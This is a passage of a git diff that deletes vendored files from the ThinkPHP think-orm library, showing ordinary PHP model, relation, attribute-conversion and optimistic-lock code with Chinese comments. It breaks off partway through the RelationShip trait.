mixed $cache 关联缓存 - * @return $this - */ - public function load($relation, $cache = false) - { - if (!$this->isEmpty()) { - $item = current($this->items); - $item->eagerlyResultSet($this->items, (array) $relation, [], false, $cache); - } - - return $this; - } - - /** - * 删除数据集的数据 - * @access public - * @return bool - */ - public function delete(): bool - { - $this->each(function (Model $model) { - $model->delete(); - }); - - return true; - } - - /** - * 更新数据 - * @access public - * @param array $data 数据数组 - * @param array $allowField 允许字段 - * @return bool - */ - public function update(array $data, array $allowField = []): bool - { - $this->each(function (Model $model) use ($data, $allowField) { - if (!empty($allowField)) { - $model->allowField($allowField); - } - - $model->save($data); - }); - - return true; - } - - /** - * 设置需要隐藏的输出属性 - * @access public - * @param array $hidden 属性列表 - * @return $this - */ - public function hidden(array $hidden) - { - $this->each(function (Model $model) use ($hidden) { - $model->hidden($hidden); - }); - - return $this; - } - - /** - * 设置需要输出的属性 - * @access public - * @param array $visible - * @return $this - */ - public function visible(array $visible) - { - $this->each(function (Model $model) use ($visible) { - $model->visible($visible); - }); - - return $this; - } - - /** - * 设置需要追加的输出属性 - * @access public - * @param array $append 属性列表 - * @return $this - */ - public function append(array $append) - { - $this->each(function (Model $model) use ($append) { - $model->append($append); - }); - - return $this; - } - - /** - * 设置父模型 - * @access public - * @param Model $parent 父模型 - * @return $this - */ - public function setParent(Model $parent) - { - $this->each(function (Model $model) use ($parent) { - $model->setParent($parent); - }); - - return $this; - } - - /** - * 设置数据字段获取器 - * @access public - * @param string|array $name 字段名 - * @param callable $callback 闭包获取器 - * @return $this - */ - public function withAttr($name, $callback = null) - { - $this->each(function (Model $model) use ($name, $callback) { - $model->withAttribute($name, $callback); - }); - - return $this; - } - - /** - * 绑定(一对一)关联属性到当前模型 - * @access protected - * @param string $relation 关联名称 - * @param array $attrs 绑定属性 - * @return $this - * @throws Exception - */ - public function bindAttr(string $relation, array $attrs = []) - { - $this->each(function (Model $model) use ($relation, $attrs) { - $model->bindAttr($relation, $attrs); - }); - - return $this; - } - - /** - * 按指定键整理数据 - * - * @access public - * @param mixed $items 数据 - * @param string $indexKey 键名 - * @return array - */ - public function dictionary($items = null, string &$indexKey = null) - { - if ($items instanceof self || $items instanceof Paginator) { - $items = $items->all(); - } - - $items = is_null($items) ? $this->items : $items; - - if ($items && empty($indexKey)) { - $indexKey = $items[0]->getPk(); - } - - if (isset($indexKey) && is_string($indexKey)) { - return array_column($items, null, $indexKey); - } - - return $items; - } - - /** - * 比较数据集,返回差集 - * - * @access public - * @param mixed $items 数据 - * @param string $indexKey 指定比较的键名 - * @return static - */ - public function diff($items, string $indexKey = null) - { - if ($this->isEmpty()) { - return new static($items); - } - - $diff = []; - $dictionary = $this->dictionary($items, $indexKey); - - if (is_string($indexKey)) { - foreach ($this->items as $item) { - if (!isset($dictionary[$item[$indexKey]])) { - $diff[] = $item; - } - } - } - - return new static($diff); - } - - /** - * 比较数据集,返回交集 - * - * @access public - * @param mixed $items 数据 - * @param string $indexKey 指定比较的键名 - * @return static - */ - public function intersect($items, string $indexKey = null) - { - if ($this->isEmpty()) { - return new static([]); - } - - $intersect = []; - $dictionary = $this->dictionary($items, $indexKey); - - if (is_string($indexKey)) { - foreach ($this->items as $item) { - if (isset($dictionary[$item[$indexKey]])) { - $intersect[] = $item; - } - } - } - - return new static($intersect); - } -} diff --git a/vendor/topthink/think-orm/src/model/Pivot.php b/vendor/topthink/think-orm/src/model/Pivot.php deleted file mode 100644 index 893c01b..0000000 --- a/vendor/topthink/think-orm/src/model/Pivot.php +++ /dev/null @@ -1,53 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\model; - -use think\Model; - -/** - * 多对多中间表模型类 - */ -class Pivot extends Model -{ - - /** - * 父模型 - * @var Model - */ - public $parent; - - /** - * 是否时间自动写入 - * @var bool - */ - protected $autoWriteTimestamp = false; - - /** - * 架构函数 - * @access public - * @param array $data 数据 - * @param Model $parent 上级模型 - * @param string $table 中间数据表名 - */ - public function __construct(array $data = [], Model $parent = null, string $table = '') - { - $this->parent = $parent; - - if (is_null($this->name)) { - $this->name = $table; - } - - parent::__construct($data); - } - -} diff --git a/vendor/topthink/think-orm/src/model/Relation.php b/vendor/topthink/think-orm/src/model/Relation.php deleted file mode 100644 index e823bd9..0000000 --- a/vendor/topthink/think-orm/src/model/Relation.php +++ /dev/null @@ -1,278 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\model; - -use Closure; -use ReflectionFunction; -use think\db\BaseQuery as Query; -use think\db\exception\DbException as Exception; -use think\Model; - -/** - * 模型关联基础类 - * @package think\model - * @mixin Query - */ -abstract class Relation -{ - /** - * 父模型对象 - * @var Model - */ - protected $parent; - - /** - * 当前关联的模型类名 - * @var string - */ - protected $model; - - /** - * 关联模型查询对象 - * @var Query - */ - protected $query; - - /** - * 关联表外键 - * @var string - */ - protected $foreignKey; - - /** - * 关联表主键 - * @var string - */ - protected $localKey; - - /** - * 是否执行关联基础查询 - * @var bool - */ - protected $baseQuery; - - /** - * 是否为自关联 - * @var bool - */ - protected $selfRelation = false; - - /** - * 关联数据数量限制 - * @var int - */ - protected $withLimit; - - /** - * 关联数据字段限制 - * @var array - */ - protected $withField; - - /** - * 获取关联的所属模型 - * @access public - * @return Model - */ - public function getParent(): Model - { - return $this->parent; - } - - /** - * 获取当前的关联模型类的Query实例 - * @access public - * @return Query - */ - public function getQuery() - { - return $this->query; - } - - /** - * 获取关联表外键 - * @access public - * @return string - */ - public function getForeignKey() - { - return $this->foreignKey; - } - - /** - * 获取关联表主键 - * @access public - * @return string - */ - public function getLocalKey() - { - return $this->localKey; - } - - /** - * 获取当前的关联模型类的实例 - * @access public - * @return Model - */ - public function getModel(): Model - { - return $this->query->getModel(); - } - - /** - * 当前关联是否为自关联 - * @access public - * @return bool - */ - public function isSelfRelation(): bool - { - return $this->selfRelation; - } - - /** - * 封装关联数据集 - * @access public - * @param array $resultSet 数据集 - * @param Model $parent 父模型 - * @return mixed - */ - protected function resultSetBuild(array $resultSet, Model $parent = null) - { - return (new $this->model)->toCollection($resultSet)->setParent($parent); - } - - protected function getQueryFields(string $model) - { - $fields = $this->query->getOptions('field'); - return $this->getRelationQueryFields($fields, $model); - } - - protected function getRelationQueryFields($fields, string $model) - { - if (empty($fields) || '*' == $fields) { - return $model . '.*'; - } - - if (is_string($fields)) { - $fields = explode(',', $fields); - } - - foreach ($fields as &$field) { - if (false === strpos($field, '.')) { - $field = $model . '.' . $field; - } - } - - return $fields; - } - - protected function getQueryWhere(array &$where, string $relation): void - { - foreach ($where as $key => &$val) { - if (is_string($key)) { - $where[] = [false === strpos($key, '.') ? $relation . '.' . $key : $key, '=', $val]; - unset($where[$key]); - } elseif (isset($val[0]) && false === strpos($val[0], '.')) { - $val[0] = $relation . '.' . $val[0]; - } - } - } - - /** - * 更新数据 - * @access public - * @param array $data 更新数据 - * @return integer - */ - public function update(array $data = []): int - { - return $this->query->update($data); - } - - /** - * 删除记录 - * @access public - * @param mixed $data 表达式 true 表示强制删除 - * @return int - * @throws Exception - * @throws PDOException - */ - public function delete($data = null): int - { - return $this->query->delete($data); - } - - /** - * 限制关联数据的数量 - * @access public - * @param int $limit 关联数量限制 - * @return $this - */ - public function withLimit(int $limit) - { - $this->withLimit = $limit; - return $this; - } - - /** - * 限制关联数据的字段 - * @access public - * @param array $field 关联字段限制 - * @return $this - */ - public function withField(array $field) - { - $this->withField = $field; - return $this; - } - - /** - * 判断闭包的参数类型 - * @access protected - * @return mixed - */ - protected function getClosureType(Closure $closure) - { - $reflect = new ReflectionFunction($closure); - $params = $reflect->getParameters(); - - if (!empty($params)) { - $type = $params[0]->getType(); - return is_null($type) || Relation::class == $type->getName() ? $this : $this->query; - } - - return $this; - } - - /** - * 执行基础查询(仅执行一次) - * @access protected - * @return void - */ - protected function baseQuery(): void - {} - - public function __call($method, $args) - { - if ($this->query) { - // 执行基础查询 - $this->baseQuery(); - - $result = call_user_func_array([$this->query, $method], $args); - - return $result === $this->query ? $this : $result; - } - - throw new Exception('method not exists:' . __CLASS__ . '->' . $method); - } -} diff --git a/vendor/topthink/think-orm/src/model/concern/Attribute.php b/vendor/topthink/think-orm/src/model/concern/Attribute.php deleted file mode 100644 index 6358bf8..0000000 --- a/vendor/topthink/think-orm/src/model/concern/Attribute.php +++ /dev/null @@ -1,655 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\model\concern; - -use InvalidArgumentException; -use think\db\Raw; -use think\helper\Str; -use think\model\Relation; - -/** - * 模型数据处理 - */ -trait Attribute -{ - /** - * 数据表主键 复合主键使用数组定义 - * @var string|array - */ - protected $pk = 'id'; - - /** - * 数据表字段信息 留空则自动获取 - * @var array - */ - protected $schema = []; - - /** - * 当前允许写入的字段 - * @var array - */ - protected $field = []; - - /** - * 字段自动类型转换 - * @var array - */ - protected $type = []; - - /** - * 数据表废弃字段 - * @var array - */ - protected $disuse = []; - - /** - * 数据表只读字段 - * @var array - */ - protected $readonly = []; - - /** - * 当前模型数据 - * @var array - */ - private $data = []; - - /** - * 原始数据 - * @var array - */ - private $origin = []; - - /** - * JSON数据表字段 - * @var array - */ - protected $json = []; - - /** - * JSON数据表字段类型 - * @var array - */ - protected $jsonType = []; - - /** - * JSON数据取出是否需要转换为数组 - * @var bool - */ - protected $jsonAssoc = false; - - /** - * 是否严格字段大小写 - * @var bool - */ - protected $strict = true; - - /** - * 修改器执行记录 - * @var array - */ - private $set = []; - - /** - * 动态获取器 - * @var array - */ - private $withAttr = []; - - /** - * 获取模型对象的主键 - * @access public - * @return string|array - */ - public function getPk() - { - return $this->pk; - } - - /** - * 判断一个字段名是否为主键字段 - * @access public - * @param string $key 名称 - * @return bool - */ - protected function isPk(string $key): bool - { - $pk = $this->getPk(); - - if (is_string($pk) && $pk == $key) { - return true; - } elseif (is_array($pk) && in_array($key, $pk)) { - return true; - } - - return false; - } - - /** - * 获取模型对象的主键值 - * @access public - * @return mixed - */ - public function getKey() - { - $pk = $this->getPk(); - - if (is_string($pk) && array_key_exists($pk, $this->data)) { - return $this->data[$pk]; - } - - return; - } - - /** - * 设置允许写入的字段 - * @access public - * @param array $field 允许写入的字段 - * @return $this - */ - public function allowField(array $field) - { - $this->field = $field; - - return $this; - } - - /** - * 设置只读字段 - * @access public - * @param array $field 只读字段 - * @return $this - */ - public function readOnly(array $field) - { - $this->readonly = $field; - - return $this; - } - - /** - * 获取实际的字段名 - * @access protected - * @param string $name 字段名 - * @return string - */ - protected function getRealFieldName(string $name): string - { - if ($this->convertNameToCamel || !$this->strict) { - return Str::snake($name); - } - - return $name; - } - - /** - * 设置数据对象值 - * @access public - * @param array $data 数据 - * @param bool $set 是否调用修改器 - * @param array $allow 允许的字段名 - * @return $this - */ - public function data(array $data, bool $set = false, array $allow = []) - { - // 清空数据 - $this->data = []; - - // 废弃字段 - foreach ($this->disuse as $key) { - if (array_key_exists($key, $data)) { - unset($data[$key]); - } - } - - if (!empty($allow)) { - $result = []; - foreach ($allow as $name) { - if (isset($data[$name])) { - $result[$name] = $data[$name]; - } - } - $data = $result; - } - - if ($set) { - // 数据对象赋值 - $this->setAttrs($data); - } else { - $this->data = $data; - } - - return $this; - } - - /** - * 批量追加数据对象值 - * @access public - * @param array $data 数据 - * @param bool $set 是否需要进行数据处理 - * @return $this - */ - public function appendData(array $data, bool $set = false) - { - if ($set) { - $this->setAttrs($data); - } else { - $this->data = array_merge($this->data, $data); - } - - return $this; - } - - /** - * 获取对象原始数据 如果不存在指定字段返回null - * @access public - * @param string $name 字段名 留空获取全部 - * @return mixed - */ - public function getOrigin(string $name = null) - { - if (is_null($name)) { - return $this->origin; - } - - return array_key_exists($name, $this->origin) ? $this->origin[$name] : null; - } - - /** - * 获取对象原始数据 如果不存在指定字段返回false - * @access public - * @param string $name 字段名 留空获取全部 - * @return mixed - * @throws InvalidArgumentException - */ - public function getData(string $name = null) - { - if (is_null($name)) { - return $this->data; - } - - $fieldName = $this->getRealFieldName($name); - - if (array_key_exists($fieldName, $this->data)) { - return $this->data[$fieldName]; - } elseif (array_key_exists($fieldName, $this->relation)) { - return $this->relation[$fieldName]; - } - - throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name); - } - - /** - * 获取变化的数据 并排除只读数据 - * @access public - * @return array - */ - public function getChangedData(): array - { - $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) { - if ((empty($a) || empty($b)) && $a !== $b) { - return 1; - } - - return is_object($a) || $a != $b ? 1 : 0; - }); - - // 只读字段不允许更新 - foreach ($this->readonly as $key => $field) { - if (array_key_exists($field, $data)) { - unset($data[$field]); - } - } - - return $data; - } - - /** - * 直接设置数据对象值 - * @access public - * @param string $name 属性名 - * @param mixed $value 值 - * @return void - */ - public function set(string $name, $value): void - { - $name = $this->getRealFieldName($name); - - $this->data[$name] = $value; - } - - /** - * 通过修改器 批量设置数据对象值 - * @access public - * @param array $data 数据 - * @return void - */ - public function setAttrs(array $data): void - { - // 进行数据处理 - foreach ($data as $key => $value) { - $this->setAttr($key, $value, $data); - } - } - - /** - * 通过修改器 设置数据对象值 - * @access public - * @param string $name 属性名 - * @param mixed $value 属性值 - * @param array $data 数据 - * @return void - */ - public function setAttr(string $name, $value, array $data = []): void - { - $name = $this->getRealFieldName($name); - - if (isset($this->set[$name])) { - return; - } - - if (is_null($value) && $this->autoWriteTimestamp && in_array($name, [$this->createTime, $this->updateTime])) { - // 自动写入的时间戳字段 - $value = $this->autoWriteTimestamp(); - } else { - // 检测修改器 - $method = 'set' . Str::studly($name) . 'Attr'; - - if (method_exists($this, $method)) { - $array = $this->data; - - $value = $this->$method($value, array_merge($this->data, $data)); - - $this->set[$name] = true; - if (is_null($value) && $array !== $this->data) { - return; - } - } elseif (isset($this->type[$name])) { - // 类型转换 - $value = $this->writeTransform($value, $this->type[$name]); - } - } - - // 设置数据对象属性 - $this->data[$name] = $value; - } - - /** - * 数据写入 类型转换 - * @access protected - * @param mixed $value 值 - * @param string|array $type 要转换的类型 - * @return mixed - */ - protected function writeTransform($value, $type) - { - if (is_null($value)) { - return; - } - - if ($value instanceof Raw) { - return $value; - } - - if (is_array($type)) { - [$type, $param] = $type; - } elseif (strpos($type, ':')) { - [$type, $param] = explode(':', $type, 2); - } - - switch ($type) { - case 'integer': - $value = (int) $value; - break; - case 'float': - if (empty($param)) { - $value = (float) $value; - } else { - $value = (float) number_format($value, (int) $param, '.', ''); - } - break; - case 'boolean': - $value = (bool) $value; - break; - case 'timestamp': - if (!is_numeric($value)) { - $value = strtotime($value); - } - break; - case 'datetime': - $value = is_numeric($value) ? $value : strtotime($value); - $value = $this->formatDateTime('Y-m-d H:i:s.u', $value, true); - break; - case 'object': - if (is_object($value)) { - $value = json_encode($value, JSON_FORCE_OBJECT); - } - break; - case 'array': - $value = (array) $value; - case 'json': - $option = !empty($param) ? (int) $param : JSON_UNESCAPED_UNICODE; - $value = json_encode($value, $option); - break; - case 'serialize': - $value = serialize($value); - break; - default: - if (is_object($value) && false !== strpos($type, '\\') && method_exists($value, '__toString')) { - // 对象类型 - $value = $value->__toString(); - } - } - - return $value; - } - - /** - * 获取器 获取数据对象的值 - * @access public - * @param string $name 名称 - * @return mixed - * @throws InvalidArgumentException - */ - public function getAttr(string $name) - { - try { - $relation = false; - $value = $this->getData($name); - } catch (InvalidArgumentException $e) { - $relation = $this->isRelationAttr($name); - $value = null; - } - - return $this->getValue($name, $value, $relation); - } - - /** - * 获取经过获取器处理后的数据对象的值 - * @access protected - * @param string $name 字段名称 - * @param mixed $value 字段值 - * @param bool|string $relation 是否为关联属性或者关联名 - * @return mixed - * @throws InvalidArgumentException - */ - protected function getValue(string $name, $value, $relation = false) - { - // 检测属性获取器 - $fieldName = $this->getRealFieldName($name); - $method = 'get' . Str::studly($name) . 'Attr'; - - if (isset($this->withAttr[$fieldName])) { - if ($relation) { - $value = $this->getRelationValue($relation); - } - - if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) { - $value = $this->getJsonValue($fieldName, $value); - } else { - $closure = $this->withAttr[$fieldName]; - $value = $closure($value, $this->data); - } - } elseif (method_exists($this, $method)) { - if ($relation) { - $value = $this->getRelationValue($relation); - } - - $value = $this->$method($value, $this->data); - } elseif (isset($this->type[$fieldName])) { - // 类型转换 - $value = $this->readTransform($value, $this->type[$fieldName]); - } elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) { - $value = $this->getTimestampValue($value); - } elseif ($relation) { - $value = $this->getRelationValue($relation); - // 保存关联对象值 - $this->relation[$name] = $value; - } - - return $value; - } - - /** - * 获取JSON字段属性值 - * @access protected - * @param string $name 属性名 - * @param mixed $value JSON数据 - * @return mixed - */ - protected function getJsonValue($name, $value) - { - foreach ($this->withAttr[$name] as $key => $closure) { - if ($this->jsonAssoc) { - $value[$key] = $closure($value[$key], $value); - } else { - $value->$key = $closure($value->$key, $value); - } - } - - return $value; - } - - /** - * 获取关联属性值 - * @access protected - * @param string $relation 关联名 - * @return mixed - */ - protected function getRelationValue(string $relation) - { - $modelRelation = $this->$relation(); - - return $modelRelation instanceof Relation ? $this->getRelationData($modelRelation) : null; - } - - /** - * 数据读取 类型转换 - * @access protected - * @param mixed $value 值 - * @param string|array $type 要转换的类型 - * @return mixed - */ - protected function readTransform($value, $type) - { - if (is_null($value)) { - return; - } - - if (is_array($type)) { - [$type, $param] = $type; - } elseif (strpos($type, ':')) { - [$type, $param] = explode(':', $type, 2); - } - - switch ($type) { - case 'integer': - $value = (int) $value; - break; - case 'float': - if (empty($param)) { - $value = (float) $value; - } else { - $value = (float) number_format($value, (int) $param, '.', ''); - } - break; - case 'boolean': - $value = (bool) $value; - break; - case 'timestamp': - if (!is_null($value)) { - $format = !empty($param) ? $param : $this->dateFormat; - $value = $this->formatDateTime($format, $value, true); - } - break; - case 'datetime': - if (!is_null($value)) { - $format = !empty($param) ? $param : $this->dateFormat; - $value = $this->formatDateTime($format, $value); - } - break; - case 'json': - $value = json_decode($value, true); - break; - case 'array': - $value = empty($value) ? [] : json_decode($value, true); - break; - case 'object': - $value = empty($value) ? new \stdClass() : json_decode($value); - break; - case 'serialize': - try { - $value = unserialize($value); - } catch (\Exception $e) { - $value = null; - } - break; - default: - if (false !== strpos($type, '\\')) { - // 对象类型 - $value = new $type($value); - } - } - - return $value; - } - - /** - * 设置数据字段获取器 - * @access public - * @param string|array $name 字段名 - * @param callable $callback 闭包获取器 - * @return $this - */ - public function withAttribute($name, callable $callback = null) - { - if (is_array($name)) { - foreach ($name as $key => $val) { - $this->withAttribute($key, $val); - } - } else { - $name = $this->getRealFieldName($name); - - if (strpos($name, '.')) { - [$name, $key] = explode('.', $name); - - $this->withAttr[$name][$key] = $callback; - } else { - $this->withAttr[$name] = $callback; - } - } - - return $this; - } - -} diff --git a/vendor/topthink/think-orm/src/model/concern/Conversion.php b/vendor/topthink/think-orm/src/model/concern/Conversion.php deleted file mode 100644 index f81850c..0000000 --- a/vendor/topthink/think-orm/src/model/concern/Conversion.php +++ /dev/null @@ -1,306 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\model\concern; - -use think\Collection; -use think\db\exception\DbException as Exception; -use think\helper\Str; -use think\Model; -use think\model\Collection as ModelCollection; -use think\model\relation\OneToOne; - -/** - * 模型数据转换处理 - */ -trait Conversion -{ - /** - * 数据输出显示的属性 - * @var array - */ - protected $visible = []; - - /** - * 数据输出隐藏的属性 - * @var array - */ - protected $hidden = []; - - /** - * 数据输出需要追加的属性 - * @var array - */ - protected $append = []; - - /** - * 数据集对象名 - * @var string - */ - protected $resultSetType; - - /** - * 数据命名是否自动转为驼峰 - * @var bool - */ - protected $convertNameToCamel; - - /** - * 转换数据为驼峰命名(用于输出) - * @access public - * @param bool $toCamel 是否自动驼峰命名 - * @return $this - */ - public function convertNameToCamel(bool $toCamel = true) - { - $this->convertNameToCamel = $toCamel; - return $this; - } - - /** - * 设置需要附加的输出属性 - * @access public - * @param array $append 属性列表 - * @return $this - */ - public function append(array $append = []) - { - $this->append = $append; - - return $this; - } - - /** - * 设置附加关联对象的属性 - * @access public - * @param string $attr 关联属性 - * @param string|array $append 追加属性名 - * @return $this - * @throws Exception - */ - public function appendRelationAttr(string $attr, array $append) - { - $relation = Str::camel($attr); - - if (isset($this->relation[$relation])) { - $model = $this->relation[$relation]; - } else { - $model = $this->getRelationData($this->$relation()); - } - - if ($model instanceof Model) { - foreach ($append as $key => $attr) { - $key = is_numeric($key) ? $attr : $key; - if (isset($this->data[$key])) { - throw new Exception('bind attr has exists:' . $key); - } - - $this->data[$key] = $model->$attr; - } - } - - return $this; - } - - /** - * 设置需要隐藏的输出属性 - * @access public - * @param array $hidden 属性列表 - * @return $this - */ - public function hidden(array $hidden = []) - { - $this->hidden = $hidden; - - return $this; - } - - /** - * 设置需要输出的属性 - * @access public - * @param array $visible - * @return $this - */ - public function visible(array $visible = []) - { - $this->visible = $visible; - - return $this; - } - - /** - * 转换当前模型对象为数组 - * @access public - * @return array - */ - public function toArray(): array - { - $item = []; - $hasVisible = false; - - foreach ($this->visible as $key => $val) { - if (is_string($val)) { - if (strpos($val, '.')) { - [$relation, $name] = explode('.', $val); - $this->visible[$relation][] = $name; - } else { - $this->visible[$val] = true; - $hasVisible = true; - } - unset($this->visible[$key]); - } - } - - foreach ($this->hidden as $key => $val) { - if (is_string($val)) { - if (strpos($val, '.')) { - [$relation, $name] = explode('.', $val); - $this->hidden[$relation][] = $name; - } else { - $this->hidden[$val] = true; - } - unset($this->hidden[$key]); - } - } - - // 合并关联数据 - $data = array_merge($this->data, $this->relation); - - foreach ($data as $key => $val) { - if ($val instanceof Model || $val instanceof ModelCollection) { - // 关联模型对象 - if (isset($this->visible[$key]) && is_array($this->visible[$key])) { - $val->visible($this->visible[$key]); - } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { - $val->hidden($this->hidden[$key]); - } - // 关联模型对象 - if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { - $item[$key] = $val->toArray(); - } - } elseif (isset($this->visible[$key])) { - $item[$key] = $this->getAttr($key); - } elseif (!isset($this->hidden[$key]) && !$hasVisible) { - $item[$key] = $this->getAttr($key); - } - } - - // 追加属性(必须定义获取器) - foreach ($this->append as $key => $name) { - $this->appendAttrToArray($item, $key, $name); - } - - if ($this->convertNameToCamel) { - foreach ($item as $key => $val) { - $name = Str::camel($key); - if ($name !== $key) { - $item[$name] = $val; - unset($item[$key]); - } - } - } - - return $item; - } - - protected function appendAttrToArray(array &$item, $key, $name) - { - if (is_array($name)) { - // 追加关联对象属性 - $relation = $this->getRelation($key, true); - $item[$key] = $relation ? $relation->append($name) - ->toArray() : []; - } elseif (strpos($name, '.')) { - [$key, $attr] = explode('.', $name); - // 追加关联对象属性 - $relation = $this->getRelation($key, true); - $item[$key] = $relation ? $relation->append([$attr]) - ->toArray() : []; - } else { - $value = $this->getAttr($name); - $item[$name] = $value; - - $this->getBindAttr($name, $value, $item); - } - } - - protected function getBindAttr(string $name, $value, array &$item = []) - { - $relation = $this->isRelationAttr($name); - if (!$relation) { - return false; - } - - $modelRelation = $this->$relation(); - - if ($modelRelation instanceof OneToOne) { - $bindAttr = $modelRelation->getBindAttr(); - - if (!empty($bindAttr)) { - unset($item[$name]); - } - - foreach ($bindAttr as $key => $attr) { - $key = is_numeric($key) ? $attr : $key; - - if (isset($item[$key])) { - throw new Exception('bind attr has exists:' . $key); - } - - $item[$key] = $value ? $value->getAttr($attr) : null; - } - } - } - - /** - * 转换当前模型对象为JSON字符串 - * @access public - * @param integer $options json参数 - * @return string - */ - public function toJson(int $options = JSON_UNESCAPED_UNICODE): string - { - return json_encode($this->toArray(), $options); - } - - public function __toString() - { - return $this->toJson(); - } - - // JsonSerializable - public function jsonSerialize() - { - return $this->toArray(); - } - - /** - * 转换数据集为数据集对象 - * @access public - * @param array|Collection $collection 数据集 - * @param string $resultSetType 数据集类 - * @return Collection - */ - public function toCollection(iterable $collection = [], string $resultSetType = null): Collection - { - $resultSetType = $resultSetType ?: $this->resultSetType; - - if ($resultSetType && false !== strpos($resultSetType, '\\')) { - $collection = new $resultSetType($collection); - } else { - $collection = new ModelCollection($collection); - } - - return $collection; - } - -} diff --git a/vendor/topthink/think-orm/src/model/concern/ModelEvent.php b/vendor/topthink/think-orm/src/model/concern/ModelEvent.php deleted file mode 100644 index f560379..0000000 --- a/vendor/topthink/think-orm/src/model/concern/ModelEvent.php +++ /dev/null @@ -1,88 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\model\concern; - -use think\db\exception\ModelEventException; -use think\helper\Str; - -/** - * 模型事件处理 - */ -trait ModelEvent -{ - - /** - * Event对象 - * @var object - */ - protected static $event; - - /** - * 是否需要事件响应 - * @var bool - */ - protected $withEvent = true; - - /** - * 设置Event对象 - * @access public - * @param object $event Event对象 - * @return void - */ - public static function setEvent($event) - { - self::$event = $event; - } - - /** - * 当前操作的事件响应 - * @access protected - * @param bool $event 是否需要事件响应 - * @return $this - */ - public function withEvent(bool $event) - { - $this->withEvent = $event; - return $this; - } - - /** - * 触发事件 - * @access protected - * @param string $event 事件名 - * @return bool - */ - protected function trigger(string $event): bool - { - if (!$this->withEvent) { - return true; - } - - $call = 'on' . Str::studly($event); - - try { - if (method_exists(static::class, $call)) { - $result = call_user_func([static::class, $call], $this); - } elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) { - $result = self::$event->trigger(static::class . '.' . $event, $this); - $result = empty($result) ? true : end($result); - } else { - $result = true; - } - - return false === $result ? false : true; - } catch (ModelEventException $e) { - return false; - } - } -} diff --git a/vendor/topthink/think-orm/src/model/concern/OptimLock.php b/vendor/topthink/think-orm/src/model/concern/OptimLock.php deleted file mode 100644 index 5e61318..0000000 --- a/vendor/topthink/think-orm/src/model/concern/OptimLock.php +++ /dev/null @@ -1,85 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\model\concern; - -use think\db\exception\DbException as Exception; - -/** - * 乐观锁 - */ -trait OptimLock -{ - protected function getOptimLockField() - { - return property_exists($this, 'optimLock') && isset($this->optimLock) ? $this->optimLock : 'lock_version'; - } - - /** - * 数据检查 - * @access protected - * @return void - */ - protected function checkData(): void - { - $this->isExists() ? $this->updateLockVersion() : $this->recordLockVersion(); - } - - /** - * 记录乐观锁 - * @access protected - * @return void - */ - protected function recordLockVersion(): void - { - $optimLock = $this->getOptimLockField(); - - if ($optimLock) { - $this->set($optimLock, 0); - } - } - - /** - * 更新乐观锁 - * @access protected - * @return void - */ - protected function updateLockVersion(): void - { - $optimLock = $this->getOptimLockField(); - - if ($optimLock && $lockVer = $this->getOrigin($optimLock)) { - // 更新乐观锁 - $this->set($optimLock, $lockVer + 1); - } - } - - public function getWhere() - { - $where = parent::getWhere(); - $optimLock = $this->getOptimLockField(); - - if ($optimLock && $lockVer = $this->getOrigin($optimLock)) { - $where[] = [$optimLock, '=', $lockVer]; - } - - return $where; - } - - protected function checkResult($result): void - { - if (!$result) { - throw new Exception('record has update'); - } - } - -} diff --git a/vendor/topthink/think-orm/src/model/concern/RelationShip.php b/vendor/topthink/think-orm/src/model/concern/RelationShip.php deleted file mode 100644 index f3da1c4..0000000 --- a/vendor/topthink/think-orm/src/model/concern/RelationShip.php +++ /dev/null @@ -1,841 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\model\concern; - -use Closure; -use think\Collection; -use think\db\BaseQuery as Query; -use think\db\exception\DbException as Exception; -use think\helper\Str; -use think\Model; -use think\model\Relation; -use think\model\relation\BelongsTo; -use think\model\relation\BelongsToMany; -use think\model\relation\HasMany; -use think\model\relation\HasManyThrough; -use think\model\relation\HasOne; -use think\model\relation\HasOneThrough; -use think\model\relation\MorphMany; -use think\model\relation\MorphOne; -use think\model\relation\MorphTo; -use think\model\relation\MorphToMany; -use think\model\relation\OneToOne; - -/** - * 模型关联处理 - */ -trait RelationShip -{ - /** - * 父关联模型对象 - * @var object - */ - private $parent; - - /** - * 模型关联数据 - * @var array - */ - private $relation = []; - - /** - * 关联写入定义信息 - * @var array - */ - private $together = []; - - /** - * 关联自动写入信息 - * @var array - */ - protected $relationWrite = []; - - /** - * 设置父关联对象 - * @access public - * @param Model $model 模型对象 - * @return $this - */ - public function setParent(Model $model) - { - $this->parent = $model; - - return $this; - } - - /** - * 获取父关联对象 - * @access public - * @return Model - */ - public function getParent(): Model - { - return $this->parent; - } - - /** - * 获取当前模型的关联模型数据 - * @access public - * @param string $name 关联方法名 - * @param bool $auto 不存在是否自动获取 - * @return mixed - */ - public function getRelation(string $name = null, bool $auto = false) - { - if (is_null($name)) { - return $this->relation; - } - - if (array_key_exists($name, $this->relation)) { - return $this->relation[$name]; - } elseif ($auto) { - $relation = Str::camel($name); - return $this->getRelationValue($relation); - } - } - - /** - * 设置关联数据对象值 - * @access public - * @param string $name 属性名 - * @param mixed $value 属性值 - * @param array $data 数据 - * @return $this - */ - public function setRelation(string $name, $value, array $data = []) - { - // 检测修改器 - $method = 'set' . Str::studly($name) . 'Attr'; - - if (method_exists($this, $method)) { - $value = $this->$method($value, array_merge($this->data, $data)); - } - - $this->relation[$this->getRealFieldName($name)] = $value; - - return $this; - } - - /** - * 查询当前模型的关联数据 - * @access public - * @param array $relations 关联名 - * @param array $withRelationAttr 关联获取器 - * @return void - */ - public function relationQuery(array $relations, array $withRelationAttr = []): void - { - foreach ($relations as $key => $relation) { - $subRelation = ''; - $closure = null; - - if ($relation instanceof Closure) { - // 支持闭包查询过滤关联条件 - $closure = $relation; - $relation = $key; - } - - if (is_array($relation)) { - 